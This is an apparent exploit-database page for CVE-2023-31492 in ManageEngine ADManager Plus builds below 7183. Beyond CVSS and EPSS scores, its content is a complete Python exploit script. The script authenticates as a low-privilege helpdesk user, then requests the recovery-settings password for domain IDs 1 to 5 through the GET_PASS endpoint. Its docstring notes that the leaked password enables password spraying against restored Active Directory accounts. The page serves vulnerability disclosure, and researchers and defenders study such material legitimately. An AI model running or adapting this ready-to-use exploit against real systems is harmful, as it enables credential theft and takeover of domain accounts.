Lucene search

K
zdtMetin Yunus Kandemir1337DAY-ID-39331
HistoryFeb 13, 2024 - 12:00 a.m.

ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure Exploit

2024-02-1300:00:00
Metin Yunus Kandemir
0day.today
130
recovery settings
user accounts
admanager plus
build 7183
password disclosure
active directory

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

0.001 Low

EPSS

Percentile

25.6%

# Exploit Title: ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/ad-manager/
# Details: https://docs.unsafe-inline.com/0day/manageengine-admanager-plus-build-less-than-7183-recovery-password-disclosure-cve-2023-31492
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md
# Version: ADManager Plus Build < 7183
# Tested against: Build 7180
# CVE: CVE-2023-31492

import argparse
import requests
import urllib3
import sys

"""
The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover. 
When deleted user accounts are restored, defined password is set to the user accounts. 
Helpdesk technician that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment.
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def getPass(target, auth, user, password):
    with requests.Session() as s:
        if auth.lower() == 'admanager':
            auth = 'ADManager Plus Authentication'
        data = {
            "is_admp_pass_encrypted": "false",
            "j_username": user,
            "j_password": password,
            "domainName": auth,
            "AUTHRULE_NAME": "ADAuthenticator"
        }
        # Login
        url = target + 'j_security_check?LogoutFromSSO=true'
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
        if 'Cookie' in req.request.headers:
            print('[+] Authentication successful!')
        elif req.status_code == 200:
            print('[-] Invalid login name/password!')
            sys.exit(0)
        else:
            print('[-] Something went wrong!')
            sys.exit(1)

        # Fetching recovery password
        for i in range(1, 6):
            print('[*] Trying to fetch recovery password for domainId: %s !' % i)
            passUrl = target + 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' + str(i) + '%22%7D'
            passReq = s.get(passUrl, headers=headers, allow_redirects=False, verify=False)
            if passReq.content:
                print(passReq.content)


def main():
    arg = get_args()
    target = arg.target
    auth = arg.auth
    user = arg.user
    password = arg.password
    getPass(target, auth, user, password)


def get_args():
    parser = argparse.ArgumentParser(
        epilog="Example: exploit.py -t https://target/ -a unsafe.local -u operator1 -p operator1")
    parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
    parser.add_argument('-a', '--auth', required=True, action='store',
                        help='If you have credentials of the application user, type admanager. If you have credentials of the domain user, type domain DNS name of the target domain.')
    parser.add_argument('-u', '--user', required=True, action='store')
    parser.add_argument('-p', '--password', required=True, action='store')
    args = parser.parse_args()
    return args


main()

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

0.001 Low

EPSS

Percentile

25.6%